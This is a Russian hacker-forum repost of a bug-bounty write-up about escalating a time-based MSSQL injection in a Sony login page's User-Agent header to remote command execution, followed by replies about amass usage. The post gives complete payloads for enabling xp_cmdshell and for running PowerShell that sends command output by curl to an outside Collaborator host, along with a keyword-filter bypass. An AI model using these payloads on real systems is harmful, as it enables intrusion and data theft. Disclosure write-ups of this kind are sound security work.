• XSS.stack #1 – первый литературный журнал от юзеров форума

Статья Как я расширил Time-Based SQL Injection до RCE

tabac

CPU register
Пользователь
Регистрация
30.09.2018
Сообщения
1 610
Решения
1
Реакции
3 332

Предисловие​

В этой статье я расскажу о своём отчёте, отправленном компании Sony в рамках публичной программы на сайте HackerOne, а также о том, как я преобразовал Blind Time-based SQL Injection в полномасштабное удалённое выполнение команды ОС.

Я вырежу из статьи такие важные подробности, как домены, поддомены, результаты работы команд, мой IP-адрес, IP-адрес сервера и другие.

Этап разведки​

Для этапа разведки я использовал sublist3r для поиска поддоменов нужного мне домена.

image


Я проверил все поддомены, но ссылки оказались мёртвыми. Расстроившись, я попробовал другие инструменты разведки, например, amass. Как ни удивительно, результат оказался лучше.

amass нашёл для меня поддомены, которые нельзя увидеть в простых google-запросах. (Простите, но я не буду показывать скриншоты). Он выявил поддомен вида special.target.com.

Знакомимся ближе с Target​

Перейдя на сайт, я увидел, что это что-то типа панели администратора или страницы для логина сотрудников.

image


Далее я попробовал классический символ ' для проверки на sql-ошибки. Я ввёл username=123'&password=123'.

Проверил запросы burpsuite, и конечная точка вернула мне плодотворную страницу ошибки 500. Почему плодотворную? Разработчики забыли отключить режим отладки (или что-то типа того), и это позволило мне посмотреть запрос целиком с полным путём к файлам.

image

Конечная точка уязвима к Microsoft SQL Injection.

Сам эксплойт​

Я попробовал простые булевы SQL-инъекции с параметром username, но безуспешно. В ответ на любую полезную нагрузку я получал ошибки. Повторно изучив ошибку запроса, я осознал, что базе данных передаётся мой User-Agent Header. Я добавил к своему user-agent одну кавычку и комментарий ‘--, и наконец получил обычную корректную страницу.
Код:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.82 Safari/537.36'--
image

Хороший признак того, что сервер выполняет вводимые пользователем команды. Затем я проверил возможность time-based SQL injection, чтобы узнать, можно ли помещать запросы в стек.
Код:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.82 Safari/537.36';WAITFOR DELAY ‘00:00:05’;--

Ответ был отложен примерно на 5 секунд.

image


Это подтверждает, что мы можем помещать SQL-запросы в стек и выполнять инъекции любых нужных нам команд.

Расширение SQL-инъекции до RCE​

Так как теперь мы знаем, что можем помещать запросы в стек, нужно найти способ исполнять здесь команды ОС. В отличие от MySQL, в MSSQL есть способ исполнения команд. Я воспользовался информацией из статьи Прашанта Кумара.

Выяснилось, что можно исполнять команды ОС при помощи xp_cmdshell, поэтому я включил на сервере xp_cmdshell.
Код:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.82 Safari/537.36'; EXEC sp_configure ‘show advanced options’, 1; RECONFIGURE; EXEC sp_configure ‘xp_cmdshell’, 1; RECONFIGURE;--

Затем я при помощи ping протестировал возможность слепого RCE
Код:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.82 Safari/537.36'; EXEC xp_cmdshell 'ping myburpcollablink.burpcollaborator.net';--

image


Отлично! Доступ к Burpsuite Collaborator Client был выполнен. Это подтверждает, что мы можем выполнять RCE.

В отличие от Прашанта Кумара, я не стал сохранять результаты выполнения команд в базу данных и создал неразрушительный способ считывания результатов выполнения команд ОС.

Я присвоил значение вывода переменной в powershell и отправлял их в свой BurpCollaborator при помощи curl.

Это работает так:
Код:
powershell -c “$x = whoami; curl http://my-burp-link.burpcollaborator.net/get?output=$x”
Команда получает результаты выполнения whoami и отправляет их по моей ссылке burpcollab

Готовая полезная нагрузка RCE выглядит так:
Код:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.82 Safari/537.36';EXEC xp_cmdshell ‘powershell -c “$x = whoami; curl http://my-burp-link.burpcollaborator.net/get?output=$x"';--

Результаты выполнения команды отправляются мне.

image


Также мне удалось извлечь информацию о метаданных инстансов AWS EC2, просмотреть серверные файлы и многое другое.

Обходим «исправление»​

Спустя несколько дней Sony сообщила мне, что развернула патч. Я попробовал запустить свою старую полезную нагрузку, но её заблокировал файрвол. Я увидел, что компания поместила в фильтр ключевое слово EXEC xp_cmdshell.

Я обошёл фильтр, объявив переменную @x со значением xp_cmdshell и запустив команду вида EXEC @x
Код:
‘; DECLARE @x AS VARCHAR(100)=’xp_cmdshell’; EXEC @x ‘ping k7s3rpqn8ti91kvy0h44pre35ublza.burpcollaborator.net’ —

Хроника событий​

  • 14 сентября 2021 года → отправлен первый отчёт
  • 16 сентября 2021 года → отчёт проверен Hackerone
  • 21 сентября 2021 года → развёрнут первый патч (я его обошёл)
  • 23 сентября 2021 года → развёрнут ещё один патч (я его снова обошёл)
  • 26 сентября 2021 года → развёрнут окончательный патч
  • 27 сентября 2021 года → уязвимость помечена как устранённая, выплачено вознаграждение.

Автор оригинала: 0xEchidonut
 
Очень интересно! Хотел немного покритиковать, что примеры команд не пишешь. Но потом увидел, что статья не твоя.

Я вот например в amass использую вот такую команду:
amass enum -v -src -ip -brute -min-for-recrusive 2 -d www.site.com

А вы?
 
Очень интересно! Хотел немного покритиковать, что примеры команд не пишешь. Но потом увидел, что статья не твоя.

Я вот например в amass использую вот такую команду:
amass enum -v -src -ip -brute -min-for-recrusive 2 -d www.site.com

А вы?
Причем здесь амасс? это райтап с полученым баунти? Брут амасом без -w (словаря - Вы серьезно ?) Сразу видно, что дальше amass examples не ушли. На какую, извините, критику Вы способны?

1640765338454.png
 
Причем здесь амасс? это райтап с полученым баунти? Брут амасом без -w (словаря - Вы серьезно ?) Сразу видно, что дальше amass examples не ушли. На какую, извините, критику Вы способны?
Посмотреть вложение 30138
Критика моя была в том, что ТС не привёл примеры команд которыми он пользовался.
Брут по словарю, я для этих целей пользуюсь dirBuster.
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх